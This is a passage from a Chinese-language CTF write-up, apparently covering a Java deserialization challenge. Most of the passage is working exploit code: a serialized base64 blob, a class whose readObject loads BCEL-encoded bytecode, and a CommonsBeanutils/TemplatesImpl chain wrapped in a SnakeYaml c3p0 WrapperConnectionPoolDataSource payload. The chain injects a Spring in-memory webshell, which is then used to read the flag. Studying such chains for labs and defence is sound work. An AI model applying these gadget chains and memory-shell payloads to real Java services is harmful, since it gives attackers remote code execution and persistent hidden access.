GI0JDkzJHUkYTYkeSRmNiQ5MFQkYTYkYzgkJCRhMiRUJDdiJHYkYWYkaCRiOCQ0MHl0QyRuJGVmQSRmNCQ2MCRseSQ3YiQ5MCRmZSRiNyRwcCQ5MyRDJGFlJDkwJGQwJHhhJGJmJDg0JDg3JEskZDQkZGYkZjgkZmIkRCRTJFMkNDAkYzVNQiQ4OSQ2MCQ5MyRkMCRYJGE0JEkkZmJzJGVkJDdkJGYwX2ckZjlqJGskWSRMJEEkQQEAMWNvbS5zdW4ub3JnLmFwYWNoZS5iY2VsLmludGVybmFsLnV0aWwuQ2xhc3NMb2FkZXIBADFjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC91dGlsL0NsYXNzTG9hZGVyDABsAG0BAAlsb2FkQ2xhc3MMAG4AbwcAcAwAcQByDABVAHMBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAWZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQALbmV3SW5zdGFuY2UBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABkoTGphdmEvaW8vT3V0cHV0U3RyZWFtOylWAQALd3JpdGVPYmplY3QBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAC3RvQnl0ZUFycmF5AQAEKClbQgEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEABmVuY29kZQEABihbQilbQgEABShbQilWAQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAUKClMamF2YS9sYW5nL09iamVjdDsAIQAeAAYAAQAfAAAAAwABACAAIQABACIAAAAdAAEAAQAAAAUqtwABsQAAAAEAIwAAAAYAAQAAAAoACQAkACUAAQAiAAAAoQAFAAUAAABOEgK4AANMKwO9AAS2AAUDvQAGtgAHTbsACFm3AAlOuwAKWS23AAs6BBkELLYADLIADbsADlm4AA8ttgAQtgARtwAStgATpwAITCu2ABWxAAEAAABFAEgAFAACACMAAAAqAAoAAAANAAYADgAWAA8AHgAQACgAEQAuABIARQAWAEgAFABJABUATQAXACYAAAAJAAL3AEgHACcEAAIAKAApAAIAIgAAAHQABgAGAAAASBIWTRIXuAADA70ABLYABQO9AAa2AAfAABhOLbYAGRIaBL0ABFkDEg5TtgAbOgQZBC0EvQAGWQMsU7YAHMAABDoFGQW2AB1XsQAAAAEAIwAAABoABgAAABkAAwAbABoAHQAuAB8AQQAgAEcAIQAqAAAABAABABQAAgArAAAAAgAsAGAAAAAKAAEAPwA8AF8ACQ==";

        UserBean userBean = new UserBean("Evil3.class",age,o);
        byte[] bytes = serialize(userBean);

        System.out.println(Base64.getEncoder().encodeToString(bytes));

    }
    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        return baos.toByteArray();
    }
}

文件写入成功后续利用反序列化触发写入的字节码

import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Method;
import java.util.Base64;

public class Evil3 implements Serializable {
    public static void main(String[] args) {
        try {
            Class<?> evilClass = Class.forName("Evil3");
            Object evilInstance = evilClass.getDeclaredConstructor().newInstance();
            ByteArrayOutputStream btout = new ByteArrayOutputStream();
            ObjectOutputStream objOut = new ObjectOutputStream(btout);
            objOut.writeObject(evilInstance);
            System.out.println(new String(Base64.getEncoder().encode(btout.toByteArray())));
            //deserialize(btout.toByteArray());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    private void readObject(ObjectInputStream ois) throws Exception {
        String code = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$5bW$TW$U$fe$8e$q$99a$YD$C$I$f1R$c1k$40M$c4$bb$40$ad$IX$ac$B$adA$v$a2m$87$e1$A$D$93$9983$B$b4$f7$7bko$f6fk$ed$cd$da$d6v$f5$c9$97$e8j$97$ae$3e$f7$a1$7d$e9k$9f$fa$d4$be$f4$l$d4$ee$93I4$R$ace$z$f69g_$ce$de$fb$db$7b$9f$cc$cf$ff$fcp$D$c0V$7c$a7$a0$i$87$U$3c$8c$c3$82$qe$M$u8$82$a32$G$r$3c$a2$40$c2$90$84c$K$86q$5c$c6$J$Z$8f$caxL$c6$e324$n$h$91$a1$cb$Y$95$c0$85$c6$98$8cq$Z$T$K$ML$w$a8$c1$94$MS$ac$v$Z$96$M$5bFZ8$3b$v$c3$91$e0$w$f0$90$RdZ$c1$Mf$V4$e2$94$8c$d3b$7dB$90$te$3c$r$e3i$J$cf$uh$c1$b3$S$9ec$Iu$Y$96$e1$edf$u$8b6$le$It$d9$a3$9c$a1$waX$bc$3f$93$g$e1$ce$806b$S$t$9c$b0u$cd$3c$aa9$868$e7$99$Bo$c2p$ZV$tlg$3c$ceg$b5T$da$e4q$cdMs$dd$9b$9c$e1$da4w$e2$7b$bbz$S$3d$fa$84$dd$ce$mw$e8f$de$d9$82$e9M$M$d5$89ImZ$8b$9b$9a5$k$ef25$d7m$X$82V$86$rE$C$87$8f$99t$5d$bc$8f$7b$T$f6hNc$b3$88$e6$b6$c6$c1$91IR$c8I$b6$I$b2U$90m$82l$Xd$87$m$3b$F$d9Uj$97$f4$i$c3$g$t$bb$b2$e9V$8a$a6fx$3eYpZsZ$v$a4$ba$oa$cf$ac$ce$d3$9ea$5b$q$afLz$9a$3e$d5$a7$a5s$88Py$r$3cO$c5$a5$eaI$e8$s$a0$Z$94$a4$9dqt$be$cf$Q$80U$W$e0$88$89$ebTlDL$c2$L$w$5e$c4K$w$5e$c6$x$M$j$Ee$ccM$L$f7c$8e$96$e23$b63$V$9b$e1$p1$dd$b6$3c$3e$eb$c5$i$7e2$c3$5d$_v$d8_$bb$7cv$afm$8er$ea$81WU$bc$863$M$b5$e3$dc$cbktz$94$ccH$c6$e3T$a9$aa$3b$QW$f1$3a$de$60Xt$t$9a$94$85$8a7$f1$W$c3$9e$ff$hO$92$3b$d3$e6$bcN$xr$b1$b8i$dbr$J$C$e5vd$M$cb$85$e3$d9$98$eb$db$de$be$a3$a0$5cN$ca$83$8e$e1qG$c5$db$o$d25$a5$G$T$9e$97$8e$f5$S$v$f5$ee$h$f6r$8d0$v$c9$ce$af$ab$8a$b3x$87$ea$ae$a7F$Z$q$db$8dY$94$98$84wU$bc$87$f7U$7c$80s$q$i$dc$df$af$e2C$7cD$9d$T$d7I$z$3ebXqw$82$8e$hu$V$e7$f11$f1$E$y$9eiQ$x$e7$5cd$3c$c3$8c$tu$cd$b2D$v$$$a8$f8$E$9f$aa$f8$M$9fK$f8B$c5E$7c$v$K$7e$89n8$de$a9$e2$x$7c$ad$e2$h$e1$w8ff$c4$c5A$dd$b4$zJ$baf$9eVSq$Z$df2$ac$bc$f7$a014$dcmzJ$a0$Y$98p$I$ljI$3d$e38$dc$f2$K$e7$dahs$e2N$zj$f4$3a$C4$dfk$b9$ceI$d8$3e$b8$91$S$f5$o$91$b0$99W$40$c51i$93$e3PA$a3s$c7n$ce$8d$ed$7eA$LY$ec$99$c7fx$8eM$f3$7f$bd$o$n$c3$9a$b6$a7$I$ec$5d$d1$b9O$c9$f0$5cV$f3$7c$PN5$c5$d4$cduSs$f8h$n$b6J$97$7b$9d$ba$ce$5d$d7$f0$9f$c8$e81$f1$ae$W$f7$e0$v$d7$e3$v$7f$y$O9v$9a$3b$de$v$86$b5$f7$c0$e1$d6$8bT$e1$d9G$d2d$d4$a5$89$B$v$ad$d6$z$rYL$a7fX$E$f0$d2$e2$8b$bb$s4$t$vf$c4$d2y$7b$f31R$Ue$f5$xQ3$b7$92$ed$85$ce$ce$b1$Og$y$cfH$VF$b8p$a8$x1$cb$b3$c90$c0g9$cdM4$3a$cf$bbZlA$Q$I$b4J$5d$e5$99$M$L$c9$d5$7e$x$9d$f1$c8$92k$84Z$7d$c1$9da$c7$8b$Ed$de$Q$9dW$m$d0W3$$$ef$e6$a6$91$S$_$J$c3$ba$bbc$5d$3c$c2$o$J$8b$fa$9d$8aJQ$e4$k$fa$BG$d3$v$e7$c6hsiV$FQ$8f$c9S4K$edh$c2$G$fa$5d$W$7f$L$c0$c43O4N$a78$ad$8c$d6$60$cbU$b0$x9$f1$s$a2$a1$i3$84V$a2$aa$af$80$cd$d8B$abL$l$Uy$e3$F$df$d3$95$V$A$d3$afaA$We$e1$40$W$c1$D$z$e1P$d9uHY$c8$89$f5$8cv$e5Y$u$7dy$85$K_A$z$u$b4$84$x$f3$db$fe$f5$h$f2$bam$81$8d$b7$b6$c1$bc$ddB$b2$LW$f9$aa$8b$daByn$b5$e0$86$D$c4$j$w$L$d7$q$85H$8aH$UDm$q$e4$d3H$a0p$93$i$91$oAR$z$t$d5$3aRU$7eBM$5by$e8$3aQ$r$bc$f8$g$ea$b3h$IG$b2Xr$k$e1$88$ot$oJ$m$bc4y$ZU$e2$b8$yw$5cN4$Y$vOF$e4$y$ee$L$af$u$f6$i$91$fd$cb$7fD$e3$d054E$94$yVf$b1$ea$wV$87$d7d$b16$8bu$c2$e9$a0o$Z$cdg$S$91$f3$e1$e5$f9$cds$f8$97Q$7e$a0$r$8b$f5$83WD$R$d8$Q$3bN$lJe$b9$S9XF$b4$9c$ca$a3$a0$9e$ca$d0$E$f1$9aWb$t$W$a2$LU$e8$c7$o$M$a1$g6$c28C_hgQ$8bs$a8$c3$r$y$G$e5$8b$hh$c0$_$88$e07$y$c1$eft$d7$lX$8e$3f$b1$C$7f$a3$915$a3$89ub$r$h$c2$g$f2$b8$8a$9d$c0j6$82$b5$b9v8M$7eT$d6$87m$d8N$a7z$b6$X$3b$c8$t$p$8b$9d$d8$856j$a0$$$b6$Y$ed$c4$xC$3f$ab$40$H$f1$C$Y$a2$f0$ef$a7$5d$90$e2$f9$L$bbI$g$a2$a8$7e$c5$D$b4$93$u$a6$y$f6$90T$a6$c8$$$a2$T$7b$v$af$h$b8$40ytC$n$efA$f4$60$ly$7b$90$fe$b7$pp$93$C$ae$90$d0$xa$bf$84$87$K$d4$df$f8$fb$D$S$S$40$c5MB$89$60$93$d0$X$a4$I$fbs$ed$7d$f0_g$f9j$k$Y$L$A$A";
        //new ClassLoader().loadClass(code).newInstance();
        ClassLoader classLoader = (ClassLoader) Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader").getDeclaredConstructor().newInstance();

        Method loadClassMethod = classLoader.getClass().getMethod("loadClass", String.class);

        Class<?> loadedClass = (Class<?>) loadClassMethod.invoke(classLoader, code);
        loadedClass.newInstance();
    }
}

但是这里我本地一直失败，后续发现移动jdk到/usr/lib/jvm/ 下就行了，另外上面这个poc运行得放在Java目录下，反射不能加包名，不然后续加载会加载不到

靶场也OK

后续学一下jar怎么写的，懒了，这里不想动了

SnakeYaml

💡

yaml打c3p0二次反序列化，不出网打内存马

利用snakeyaml反序列化会调用构造方法和getter方法特性打c3p0的*WrapperConnectionPoolDataSource* 构造函数，利用其hex字节码加载器二次反序列化打内存马

看依赖还有个CB，所以直接利用CB去打内存马即可

package com.xiinnn.SnakeYaml;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.xiinnn.commonly.SpringMemShell;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

/**
 *
 * 利用snakeyaml触发构造函数的特性，去触发c3p0的WrapperConnectionPoolDataSource，然后二次反序列化
 * 这条链是打readObject，所以可以打内存马应对不出网情况
 *
 */

public class CB2C3p0TOSnakeYaml {
    public static void main(String[] args) throws Exception{
        byte[] bytes = Repository.lookupClass(SpringMemShell.class).getBytes();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_name", "evil");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

//        BeanComparator beanComparator = new BeanComparator(); //依赖于CC库
        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); //不依赖CC库
        PriorityQueue<Object> queue = new PriorityQueue<>(1,beanComparator);

        queue.add("1");
        queue.add("2");

        setFieldValue(beanComparator,"property", "outputProperties");
//        beanComparator.compare(templates, templates);
        setFieldValue(queue,"queue", new Object[]{templates,templates});

        String Serhex = bytesToHexString(serialize(queue));

        String hexcode = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
                "userOverridesAsString: HexAsciiSerializedMap:" + Serhex + ';';
        System.out.println(hexcode);

//        Unserialize("sercb.bin");

    }
    //将对象序列化为字节数组
    public static byte[] serialize(Object obj) throws IOException {
        try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(bos)) {
            oos.writeObject(obj);
            return bos.toByteArray();
        }
    }

    //将字节数组转换为十六进制字符串
    public static String bytesToHexString(byte[] byteArray) {
        StringBuilder sb = new StringBuilder();
        for (byte b : byteArray) {
            String hex = Integer.toHexString(b & 0xFF);
            if (hex.length() < 2) {
                sb.append('0'); // 补齐为两位
            }
            sb.append(hex.toUpperCase());
        }
        return sb.toString();
    }

    public static Object Unserialize(String filePath) throws Exception{

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filePath));
        Object o = objectInputStream.readObject();
        return o;

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

其中SpringMemShell为spring内存马，生成的结果如下

url编码一下打即可

日常500，访问一下shell看是否打成功了

直接读取flag即可

参考

LandGrey’s Blog

https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA

记一次CTF出题之一写一个不吱声_WP篇 | P0l@R19ht